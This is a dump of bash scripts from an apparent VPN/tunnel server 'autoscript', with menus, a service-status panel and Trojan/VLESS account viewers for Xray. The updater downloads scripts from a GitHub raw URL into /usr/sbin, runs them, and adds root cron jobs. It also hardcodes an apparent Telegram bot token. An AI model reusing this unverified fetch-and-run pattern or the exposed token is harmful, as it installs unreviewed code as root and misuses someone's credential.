| echo -e "\033[0;33m│ - BadVPN 1 : 7100 │" 33 | echo -e "\033[0;33m│ - BadVPN 2 : 7200 │" 34 | echo -e "\033[0;33m│ - BadVPN 3 : 7300 │" 35 | echo -e "\033[0;33m│ - Proxy Squid : 3128 │" 36 | echo -e "\033[0;33m└─────────────────────────────────────────────┘" 37 | echo "" 38 | read -n 1 -s -r -p "Press any key to back on menu" 39 | menu 40 | -------------------------------------------------------------------------------- /update/restart: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | systemctl restart squid 4 | sleep 2 5 | menu -------------------------------------------------------------------------------- /update/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez667 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | AUTOSCRIPT BY NEVERMORESSH 10 | # COLOR VALIDATION 11 | clear 12 | RED='\033[0;31m' 13 | NC='\033[0m' 14 | gray="\e[1;30m" 15 | Blue="\033[36m" 16 | GREEN='\033[0;32m' 17 | grenbo="\e[92;1m" 18 | yellow='\033[0;33m' 19 | ISP=$(cat /etc/xray/isp) 20 | CITY=$(cat /etc/xray/city) 21 | domain=$(cat /etc/xray/domain) 22 | WKT=$(curl -s ipinfo.io/timezone) 23 | IPVPS=$(curl -s ipv4.icanhazip.com) 24 | tram=$(free -m | awk 'NR==2 {print $2}') 25 | swap=$(free -m | awk 'NR==4 {print $2}') 26 | freq=$(awk -F: ' /cpu MHz/ {freq=$2} END {print freq}' /proc/cpuinfo) 27 | cores=$(awk -F: '/model name/ {core++} END {print core}' /proc/cpuinfo) 28 | cname=$(awk -F: '/model name/ {name=$2} END {print name}' /proc/cpuinfo) 29 | Exp="Never Expired" 30 | Name="NevermoreSSH Tunnel" 31 | Open_SSH=$(systemctl status ssh | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 32 | Dropbear=$(systemctl status dropbear | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 33 | Dropbear_Websocket=$(systemctl status dropbear | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 34 | SSH_Websocket=$(systemctl status ws | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 35 | OpenVPN=$(systemctl status openvpn | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 36 | Nginx_Webserver=$(systemctl status nginx | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 37 | Haproxy=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 38 | DNS_Server=$(systemctl status server | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 39 | DNS_Client=$(systemctl status client | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 40 | UDP_Custom=$(systemctl status udp-custom | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 41 | OpenVPN_Websocket=$(systemctl status ws | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 42 | XRAY_Vmess_TLS=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 43 | XRAY_Vmess_gRPC=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 44 | XRAY_Vmess_None_TLS=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 45 | XRAY_Vless_TLS=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 46 | XRAY_Vless_gRPC=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 47 | XRAY_Vless_None_TLS=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 48 | Trojan_gRPC=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 49 | Trojan_WS=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 50 | Shadowsocks_WS=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 51 | Shadowsocks_gRPC=$(systemctl status haproxy | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 52 | Iptables=$(systemctl status netfilter-persistent | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 53 | Squid=$(systemctl status squid | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 54 | BadVPN=$(systemctl status badvpn3 | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 55 | RClocal=$(systemctl status rc-local | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 56 | Autorebot=$(systemctl status rc-local | grep active | awk '{print $3}' | sed 's/(//g' | sed 's/)//g') 57 | if [[ $Open_SSH == "running" ]]; then 58 | status_1="${grenbo}Online${NC}" 59 | else 60 | status_1="${RED}Offline${NC}" 61 | fi 62 | 63 | if [[ $Dropbear == "running" ]]; then 64 | status_2="${grenbo}Online${NC}" 65 | else 66 | status_2="${RED}Offline${NC}" 67 | fi 68 | 69 | if [[ $Dropbear_Websocket == "running" ]]; then 70 | status_3="${grenbo}Online${NC}" 71 | else 72 | status_3="${RED}Offline${NC}" 73 | fi 74 | 75 | if [[ $SSH_Websocket == "running" ]]; then 76 | status_4="${grenbo}Online${NC}" 77 | else 78 | status_4="${RED}Offline${NC}" 79 | fi 80 | 81 | if [[ $OpenVPN == "exited" ]]; then 82 | status_5="${grenbo}Online${NC}" 83 | else 84 | status_5="${RED}Offline${NC}" 85 | fi 86 | 87 | if [[ $Nginx_Webserver == "running" ]]; then 88 | status_6="${grenbo}Online${NC}" 89 | else 90 | status_6="${RED}Offline${NC}" 91 | fi 92 | 93 | if [[ $Haproxy == "running" ]]; then 94 | status_7="${grenbo}Online${NC}" 95 | else 96 | status_7="${RED}Offline${NC}" 97 | fi 98 | 99 | if [[ $DNS_Server == "running" ]]; then 100 | status_8="${grenbo}Online${NC}" 101 | else 102 | status_8="${RED}Offline${NC}" 103 | fi 104 | 105 | if [[ $DNS_Client == "running" ]]; then 106 | status_9="${grenbo}Online${NC}" 107 | else 108 | status_9="${RED}Offline${NC}" 109 | fi 110 | 111 | if [[ $OpenVPN_Websocket == "running" ]]; then 112 | status_10="${grenbo}Online${NC}" 113 | else 114 | status_10="${RED}Offline${NC}" 115 | fi 116 | 117 | if [[ $XRAY_Vmess_TLS == "running" ]]; then 118 | status_11="${grenbo}Online${NC}" 119 | else 120 | status_11="${RED}Offline${NC}" 121 | fi 122 | 123 | if [[ $XRAY_Vmess_gRPC == "running" ]]; then 124 | status_12="${grenbo}Online${NC}" 125 | else 126 | status_12="${RED}Offline${NC}" 127 | fi 128 | 129 | if [[ $XRAY_Vmess_None_TLS == "running" ]]; then 130 | status_13="${grenbo}Online${NC}" 131 | else 132 | status_13="${RED}Offline${NC}" 133 | fi 134 | 135 | if [[ $XRAY_Vless_TLS == "running" ]]; then 136 | status_14="${grenbo}Online${NC}" 137 | else 138 | status_14="${RED}Offline${NC}" 139 | fi 140 | 141 | if [[ $XRAY_Vless_gRPC == "running" ]]; then 142 | status_15="${grenbo}Online${NC}" 143 | else 144 | status_15="${RED}Offline${NC}" 145 | fi 146 | 147 | if [[ $XRAY_Vless_None_TLS == "running" ]]; then 148 | status_16="${grenbo}Online${NC}" 149 | else 150 | status_16="${RED}Offline${NC}" 151 | fi 152 | 153 | if [[ $Trojan_gRPC == "running" ]]; then 154 | status_17="${grenbo}Online${NC}" 155 | else 156 | status_17="${RED}Offline${NC}" 157 | fi 158 | 159 | if [[ $Trojan_WS == "running" ]]; then 160 | status_18="${grenbo}Online${NC}" 161 | else 162 | status_18="${RED}Offline${NC}" 163 | fi 164 | 165 | if [[ $Shadowsocks_WS == "running" ]]; then 166 | status_19="${grenbo}Online${NC}" 167 | else 168 | status_19="${RED}Offline${NC}" 169 | fi 170 | 171 | if [[ $Shadowsocks_gRPC == "running" ]]; then 172 | status_20="${grenbo}Online${NC}" 173 | else 174 | status_20="${RED}Offline${NC}" 175 | fi 176 | 177 | if [[ $Iptables == "exited" ]]; then 178 | status_21="${grenbo}Online${NC}" 179 | else 180 | status_21="${RED}Offline${NC}" 181 | fi 182 | 183 | if [[ $Squid == "running" ]]; then 184 | status_22="${grenbo}Online${NC}" 185 | else 186 | status_22="${RED}Offline${NC}" 187 | fi 188 | 189 | if [[ $BadVPN == "running" ]]; then 190 | status_23="${grenbo}Online${NC}" 191 | else 192 | status_23="${RED}Offline${NC}" 193 | fi 194 | 195 | if [[ $RClocal == "exited" ]]; then 196 | status_24="${grenbo}Online${NC}" 197 | else 198 | status_24="${RED}Offline${NC}" 199 | fi 200 | 201 | if [[ $Autorebot == "exited" ]]; then 202 | status_25="${grenbo}Online${NC}" 203 | else 204 | status_25="${RED}Offline${NC}" 205 | fi 206 | echo -e "\033[1;93m─────────────────────────────────────\033[0m" 207 | echo -e "\\e[42m ⇱ Subscription Information ⇲ \E[0m" 208 | echo -e "\033[1;93m─────────────────────────────────────\033[0m" 209 | echo -e "\033[93mOperating System$NC $grenbo:$NC$yellow $(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g')$NC" 210 | echo -e "\033[93mClient Name$NC $grenbo:$NC$yellow $Name$NC" 211 | echo -e "\033[93mTotal Amount Of RAM$NC $grenbo:$NC$yellow $tram MB$NC" 212 | echo -e "\033[93mIp Server$NC $grenbo:$NC$yellow $IPVPS$NC" 213 | echo -e "\033[93mIsp Server$NC $grenbo:$NC$yellow $ISP$NC" 214 | echo -e "\033[93mCity Server$NC $grenbo:$NC$yellow $CITY$NC" 215 | echo -e "\033[93mDomain$NC $grenbo:$NC$yellow $(cat /etc/xray/domain)$NC" 216 | echo -e "\033[93mServer Uptime$NC $grenbo:$NC$yellow $(uptime -p | cut -d " " -f 2-10000)$NC" 217 | echo -e "\033[93mExp Script$NC $grenbo:$NC$yellow $Exp$NC" 218 | echo -e "\033[93mVersion$NC $grenbo:$NC$yellow Version 2.0.1$NC" 219 | echo -e "\033[1;93m─────────────────────────────────────\033[0m" 220 | echo -e "\\e[42m ⇱ Service Information ⇲ \E[0m" 221 | echo -e "\033[1;93m─────────────────────────────────────\033[0m" 222 | echo -e "${Blue}Service Open_SSH$NC $grenbo:$NC $status_1" 223 | echo -e "${Blue}Service Dropbear$NC $grenbo:$NC $status_2" 224 | echo -e "${Blue}Service Dropbear_Websocket$NC $grenbo:$NC $status_3" 225 | echo -e "${Blue}Service SSH_Websocket$NC $grenbo:$NC $status_4" 226 | echo -e "${Blue}Service OpenVPN$NC $grenbo:$NC $status_5" 227 | echo -e "${Blue}Service Nginx_Webserver$NC $grenbo:$NC $status_6" 228 | echo -e "${Blue}Service Haproxy$NC $grenbo:$NC $status_7" 229 | echo -e "${Blue}Service DNS_Server$NC $grenbo:$NC $status_8" 230 | echo -e "${Blue}Service DNS_Client$NC $grenbo:$NC $status_9" 231 | echo -e "${Blue}Service OpenVPN_Websocket$NC $grenbo:$NC $status_10" 232 | echo -e "${Blue}Service Xray_Vmess_TLS$NC $grenbo:$NC $status_11" 233 | echo -e "${Blue}Service Xray_Vmess_gRPC$NC $grenbo:$NC $status_12" 234 | echo -e "${Blue}Service Xray_Vmess_None_TLS$NC $grenbo:$NC $status_13" 235 | echo -e "${Blue}Service Xray_Vless_TLS$NC $grenbo:$NC $status_14" 236 | echo -e "${Blue}Service Xray_Vless_gRPC$NC $grenbo:$NC $status_15" 237 | echo -e "${Blue}Service Xray_Vless_None_TLS$NC $grenbo:$NC $status_16" 238 | echo -e "${Blue}Service Trojan_gRPC$NC $grenbo:$NC $status_17" 239 | echo -e "${Blue}Service Trojan_WS$NC $grenbo:$NC $status_18" 240 | echo -e "${Blue}Service Shadowsocks_WS$NC $grenbo:$NC $status_19" 241 | echo -e "${Blue}Service Shadowsocks_gRPC$NC $grenbo:$NC $status_20" 242 | echo -e "${Blue}Service Iptables$NC $grenbo:$NC $status_21" 243 | echo -e "${Blue}Service Squid$NC $grenbo:$NC $status_22" 244 | echo -e "${Blue}Service BadVPN$NC $grenbo:$NC $status_23" 245 | echo -e "${Blue}Service RClocal$NC $grenbo:$NC $status_24" 246 | echo -e "${Blue}Service Autoreboot$NC $grenbo:$NC $status_25" 247 | echo -e "\033[1;93m─────────────────────────────────────\033[0m" 248 | echo "" 249 | read -n 1 -s -r -p "Press any key to back on menu" 250 | menu 251 | -------------------------------------------------------------------------------- /update/trojan: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORE SSH AUTOSCRIPT 10 | clear 11 | grenbo="\e[92;1m" 12 | NC='\033[0m' 13 | echo -e "\033[1;93m┌──────────────────────────────────────────┐\033[0m" 14 | echo -e "\033[1;93m│$NC\033[42m MENU MANAGER TROJAN $NC" 15 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 16 | echo -e "\033[1;93m┌──────────────────────────────────────────┐\033[0m" 17 | echo -e "\033[1;93m│ ${grenbo}1.${NC} \033[0;36mCreating a Trojan Account${NC}" 18 | echo -e "\033[1;93m│ ${grenbo}2.${NC} \033[0;36mDelete Trojan Account${NC}" 19 | echo -e "\033[1;93m│ ${grenbo}3.${NC} \033[0;36mRenew Trojan Account${NC}" 20 | echo -e "\033[1;93m│ ${grenbo}4.${NC} \033[0;36mCheck Trojan Login Account${NC}" 21 | echo -e "\033[1;93m│ ${grenbo}5.${NC} \033[0;36mCheck Trojan Config Account${NC}" 22 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 23 | echo -e "" 24 | read -p "Select From Options [ 1 - 4 ] : " menu 25 | case $menu in 26 | 1) 27 | add-tr 28 | ;; 29 | 2) 30 | del-tr 31 | ;; 32 | 3) 33 | renew-tr 34 | ;; 35 | 4) 36 | cek-tr 37 | ;; 38 | 5) 39 | user-tr 40 | ;; 41 | *) 42 | menu 43 | ;; 44 | esac 45 | -------------------------------------------------------------------------------- /update/updatemenu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ### Color 4 | Green="\e[92;1m" 5 | RED="\033[31m" 6 | YELLOW="\033[33m" 7 | BLUE="\033[36m" 8 | FONT="\033[0m" 9 | GREENBG="\033[42;37m" 10 | REDBG="\033[41;37m" 11 | OK="${Green}--->${FONT}" 12 | ERROR="${RED}[ERROR]${FONT}" 13 | GRAY="\e[1;30m" 14 | NC='\e[0m' 15 | red='\e[1;31m' 16 | green='\e[0;32m' 17 | 18 | ### System Information 19 | TANGGAL=$(date '+%Y-%m-%d') 20 | TIMES="10" 21 | NAMES=$(whoami) 22 | IMP="wget -q -O" 23 | CHATID="1036440597" 24 | LOCAL_DATE="/usr/bin/" 25 | MYIP=$(wget -qO- ipinfo.io/ip) 26 | CITY=$(curl -s ipinfo.io/city) 27 | TIME=$(date +'%Y-%m-%d %H:%M:%S') 28 | RAMMS=$(free -m | awk 'NR==2 {print $2}') 29 | KEY="2145515560:AAE9WqfxZzQC-FYF1VUprICGNomVfv6OdTU" 30 | URL="https://api.telegram.org/bot$KEY/sendMessage" 31 | REPO="https://raw.githubusercontent.com/NevermoreSSH/VVV/main/update/" 32 | APT="apt-get -y install" 33 | start=$(date +%s) 34 | 35 | echo "0 1 * * * root xp" >> /etc/crontab 36 | echo "*/2 * * * * root logclean" >> /etc/crontab 37 | echo "0 3 * * * root /usr/sbin/xp" >> /etc/crontab 38 | echo "0 5 * * * root reboot" >> /etc/crontab 39 | 40 | # fix missing & update 41 | apt install htop -y 42 | apt install vnstat -y 43 | apt install resolvconf -y 44 | 45 | # install UDP Custom (test) 46 | #wget https://raw.githubusercontent.com/NevermoreSSH/Vergil/main/Tunnel/udp.sh && bash udp.sh 47 | 48 | # download menu 49 | cd /usr/sbin 50 | wget -O add-ss "${REPO}add-ss" 51 | wget -O add-ssh "${REPO}add-ssh" 52 | wget -O add-tr "${REPO}add-tr" 53 | wget -O add-vless "${REPO}add-vless" 54 | wget -O add-ws "${REPO}add-ws" 55 | wget -O del-ss "${REPO}del-ss" 56 | wget -O del-ssh "${REPO}del-ssh" 57 | wget -O del-tr "${REPO}del-tr" 58 | wget -O del-vless "${REPO}del-vless" 59 | wget -O del-ws "${REPO}del-ws" 60 | wget -O menu "${REPO}menu" 61 | wget -O portin "${REPO}portin" 62 | #wget -O run "${REPO}run" 63 | #wget -O restart "${REPO}restart" 64 | wget -O trojan "${REPO}trojan" 65 | wget -O user-tr "${REPO}user-tr" 66 | wget -O user-vless "${REPO}user-vless" 67 | wget -O vless "${REPO}vless" 68 | wget -O xp "${REPO}xp" 69 | #wget -O get-domain "${REPO}get-domain" 70 | 71 | 72 | chmod +x add-ss 73 | chmod +x add-ssh 74 | chmod +x add-tr 75 | chmod +x add-vless 76 | chmod +x add-ws 77 | chmod +x del-ss 78 | chmod +x del-ssh 79 | chmod +x del-tr 80 | chmod +x del-vless 81 | chmod +x del-ws 82 | chmod +x menu 83 | chmod +x portin 84 | #chmod +x run 85 | #chmod +x restart 86 | chmod +x trojan 87 | chmod +x user-tr 88 | chmod +x user-vless 89 | chmod +x vless 90 | chmod +x xp 91 | #chmod +x get-domain 92 | cd 93 | sleep 2 94 | menu 95 | -------------------------------------------------------------------------------- /update/user-tr: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # ========================================= 3 | # Quick Setup | Script Setup Manager 4 | # Edition : Stable Edition V1.0 5 | # Auther : NevermoreSSH 6 | # (C) Copyright 2022 7 | # ========================================= 8 | clear 9 | MYIP=$(wget -qO- ipv4.icanhazip.com); 10 | NUMBER_OF_CLIENTS=$(grep -c -E "^#! " "/etc/xray/config.json") 11 | if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then 12 | echo -e "---------------------------------------------------" 13 | echo -e "---------=[ Check XRAYS/Trojan WS Config ]=---------" 14 | echo -e "---------------------------------------------------" 15 | echo "" 16 | echo "You have no existing clients!" 17 | clear 18 | exit 1 19 | fi 20 | 21 | echo -e "---------------------------------------------------" 22 | echo -e "---------=[ Check XRAYS/Trojan WS Config ]=---------" 23 | echo -e "---------------------------------------------------" 24 | echo " Select the existing client to view the config" 25 | echo " Press CTRL+C to return" 26 | echo -e "---------------------------------------------------" 27 | echo " No Expired User" 28 | grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | nl -s ') ' 29 | until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do 30 | if [[ ${CLIENT_NUMBER} == '1' ]]; then 31 | read -rp "Select one client [1]: " CLIENT_NUMBER 32 | else 33 | read -rp "Select one client [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER 34 | fi 35 | done 36 | clear 37 | user=$(grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 2 | sed -n "${CLIENT_NUMBER}"p) 38 | domain=$(cat /etc/xray/domain) 39 | PUB=$(cat /etc/slowdns/server.pub) 40 | CITY=$(cat /etc/xray/city) 41 | NS=$(cat /etc/xray/dns) 42 | uuid=$(grep "},{" /etc/xray/config.json | cut -b 11-46 | sed -n "${CLIENT_NUMBER}"p) 43 | exp=$(grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) 44 | hariini=`date -d "0 days" +"%Y-%m-%d"` 45 | tls="$(cat ~/log-install.txt | grep -w "Vless TLS" | cut -d: -f2|sed 's/ //g')" 46 | nontls="$(cat ~/log-install.txt | grep -w "Vless None TLS" | cut -d: -f2|sed 's/ //g')" 47 | 48 | trojanlink="trojan://${uuid}@${domain}:443?path=%2Ftrojan-ws&security=tls&host=${domain}&type=ws&sni=${domain}#XRAY_TROJAN_${user}" 49 | trojanlink1="trojan://${uuid}@${domain}:443?mode=gun&security=tls&type=grpc&serviceName=trojan-grpc&sni=${domain}#XRAY_TROJAN_${user}" 50 | 51 | clear 52 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 53 | echo -e "\e[42m Xray/Trojan Account \E[0m" | tee -a /etc/nevermoressh/user.log 54 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 55 | echo -e "Remarks : ${user}" | tee -a /etc/nevermoressh/user.log 56 | echo -e "Host : ${domain}" | tee -a /etc/nevermoressh/user.log 57 | echo -e "Host Slowdns: ${NS}" | tee -a /etc/nevermoressh/user.log 58 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 59 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 60 | #echo -e "User Quota : ${Quota} GB" | tee -a /etc/nevermoressh/user.log 61 | echo -e "Port DNS : 443, 53 " | tee -a /etc/nevermoressh/user.log 62 | echo -e "Port TLS : 443" | tee -a /etc/nevermoressh/user.log 63 | echo -e "port : 443" | tee -a /etc/nevermoressh/user.log 64 | echo -e "Key : ${uuid}" | tee -a /etc/nevermoressh/user.log 65 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 66 | echo -e "Link WS : ${trojanlink}" | tee -a /etc/nevermoressh/user.log 67 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 68 | echo -e "Link GRPC : ${trojanlink1}" | tee -a /etc/nevermoressh/user.log 69 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 70 | echo -e "Format OpenClash : https://${domain}:81/trojan-$user.txt" | tee -a /etc/nevermoressh/user.log 71 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 72 | echo -e "Expired On : $exp" | tee -a /etc/nevermoressh/user.log 73 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 74 | echo -e "" | tee -a /etc/nevermoressh/user.log 75 | read -n 1 -s -r -p "Press any key to back on menu" 76 | -------------------------------------------------------------------------------- /update/user-vless: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # ========================================= 3 | # Quick Setup | Script Setup Manager 4 | # Edition : Stable Edition V1.0 5 | # Auther : NevermoreSSH 6 | # (C) Copyright 2022 7 | # ========================================= 8 | clear 9 | MYIP=$(wget -qO- ipv4.icanhazip.com); 10 | NUMBER_OF_CLIENTS=$(grep -c -E "^#& " "/etc/xray/config.json") 11 | if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then 12 | echo -e "---------------------------------------------------" 13 | echo -e "---------=[ Check XRAYS/Vless WS Config ]=---------" 14 | echo -e "---------------------------------------------------" 15 | echo "" 16 | echo "You have no existing clients!" 17 | clear 18 | exit 1 19 | fi 20 | 21 | echo -e "---------------------------------------------------" 22 | echo -e "---------=[ Check XRAYS/Vless WS Config ]=---------" 23 | echo -e "---------------------------------------------------" 24 | echo " Select the existing client to view the config" 25 | echo " Press CTRL+C to return" 26 | echo -e "---------------------------------------------------" 27 | echo " No Expired User" 28 | grep -E "^#& " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | nl -s ') ' 29 | until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do 30 | if [[ ${CLIENT_NUMBER} == '1' ]]; then 31 | read -rp "Select one client [1]: " CLIENT_NUMBER 32 | else 33 | read -rp "Select one client [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER 34 | fi 35 | done 36 | clear 37 | user=$(grep -E "^#& " "/etc/xray/config.json" | cut -d ' ' -f 2 | sed -n "${CLIENT_NUMBER}"p) 38 | domain=$(cat /etc/xray/domain) 39 | PUB=$(cat /etc/slowdns/server.pub) 40 | CITY=$(cat /etc/xray/city) 41 | NS=$(cat /etc/xray/dns) 42 | uuid=$(grep "},{" /etc/xray/config.json | cut -b 11-46 | sed -n "${CLIENT_NUMBER}"p) 43 | exp=$(grep -E "^#& " "/etc/xray/config.json" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) 44 | hariini=`date -d "0 days" +"%Y-%m-%d"` 45 | tls="$(cat ~/log-install.txt | grep -w "Vless TLS" | cut -d: -f2|sed 's/ //g')" 46 | nontls="$(cat ~/log-install.txt | grep -w "Vless None TLS" | cut -d: -f2|sed 's/ //g')" 47 | 48 | #xrayvless1="vless://${uuid}@${domain}:$tls?type=ws&encryption=none&security=tls&host=${domain}&path=/vless&allowInsecure=1&sni=${sni}#XRAY_VLESS_${user}" 49 | #xrayvless2="vless://${uuid}@${domain}:$nontls?type=ws&encryption=none&security=none&host=${domain}&path=/vless#XRAY_VLESS_${user}" 50 | vlesslink1="vless://${uuid}@${domain}:443?path=/vless&security=tls&encryption=none&type=ws#XRAY_VLESS_${user}" 51 | vlesslink2="vless://${uuid}@${domain}:80?path=/vless&encryption=none&type=ws#XRAY_VLESS_${user}" 52 | vlesslink3="vless://${uuid}@${domain}:443?mode=gun&security=tls&encryption=none&type=grpc&serviceName=vless-grpc&sni=${domain}#XRAY_VLESS_${user}" 53 | vlesslink4="vless://${uuid}@${domain}:80?path=http://tsel.me/worryfree&encryption=none&type=ws#XRAY_VLESS_${user}" 54 | 55 | clear 56 | #echo -e "" 57 | #echo -e "======-XRAYS/VLESS-======" 58 | #echo -e "Remarks : ${user}" 59 | #echo -e "IP/Host : ${MYIP}" 60 | #echo -e "Address : ${domain}" 61 | #echo -e "Port TLS : $tls" 62 | #echo -e "Port No TLS : $nontls" 63 | #echo -e "User ID : ${uuid}" 64 | #echo -e "Encryption : none" 65 | #echo -e "Network : ws" 66 | #echo -e "Path : /vless" 67 | #echo -e "Multipath : /yourpath (XrayCore Mod)" 68 | #echo -e "Created : $hariini" 69 | #echo -e "Expired : $exp" 70 | #echo -e "=========================" 71 | #echo -e "Link TLS : ${xrayvless1}" 72 | #echo -e "=========================" 73 | #echo -e "Link No TLS : ${xrayvless2}" 74 | #echo -e "=========================" 75 | #echo -e "Script Mod By NevermoreSSH" 76 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 77 | echo -e "\e[42m Xray/Vless Account \E[0m" | tee -a /etc/nevermoressh/user.log 78 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 79 | echo -e "Remarks : ${user}" | tee -a /etc/nevermoressh/user.log 80 | echo -e "Domain : ${domain}" | tee -a /etc/nevermoressh/user.log 81 | echo -e "Host Slowdns: ${NS}" | tee -a /etc/nevermoressh/user.log 82 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 83 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 84 | #echo -e "User Quota : ${Quota} GB" | tee -a /etc/nevermoressh/user.log 85 | echo -e "port TLS : 443" | tee -a /etc/nevermoressh/user.log 86 | echo -e "Port DNS : 443, 53 " | tee -a /etc/nevermoressh/user.log 87 | echo -e "Port NTLS : 80, 8080, 2086" | tee -a /etc/nevermoressh/user.log 88 | echo -e "User ID : ${uuid}" | tee -a /etc/nevermoressh/user.log 89 | echo -e "Encryption : none" | tee -a /etc/nevermoressh/user.log 90 | echo -e "Path TLS : /vless " | tee -a /etc/nevermoressh/user.log 91 | echo -e "ServiceName : vless-grpc" | tee -a /etc/nevermoressh/user.log 92 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 93 | echo -e "Link TLS : ${vlesslink1}" | tee -a /etc/nevermoressh/user.log 94 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 95 | echo -e "Link NTLS : ${vlesslink2}" | tee -a /etc/nevermoressh/user.log 96 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 97 | echo -e "Link GRPC : ${vlesslink3}" | tee -a /etc/nevermoressh/user.log 98 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 99 | #echo -e "Link OPOK : ${vlesslink4}" | tee -a /etc/nevermoressh/user.log 100 | #echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 101 | echo -e "Format OpenClash : https://${domain}:81/vless-$user.txt" | tee -a /etc/nevermoressh/user.log 102 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 103 | echo -e "Expired On : $exp" | tee -a /etc/nevermoressh/user.log 104 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 105 | echo -e "" | tee -a /etc/nevermoressh/user.log 106 | read -n 1 -s -r -p "Press any key to back on menu" 107 | -------------------------------------------------------------------------------- /update/vless: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORE SSH AUTOSCRIPT 10 | clear 11 | grenbo="\e[92;1m" 12 | NC='\033[0m' 13 | echo -e "\033[1;93m┌──────────────────────────────────────────┐\033[0m" 14 | echo -e "\033[1;93m│$NC\033[42m MENU MANAGER VLESS $NC" 15 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 16 | echo -e 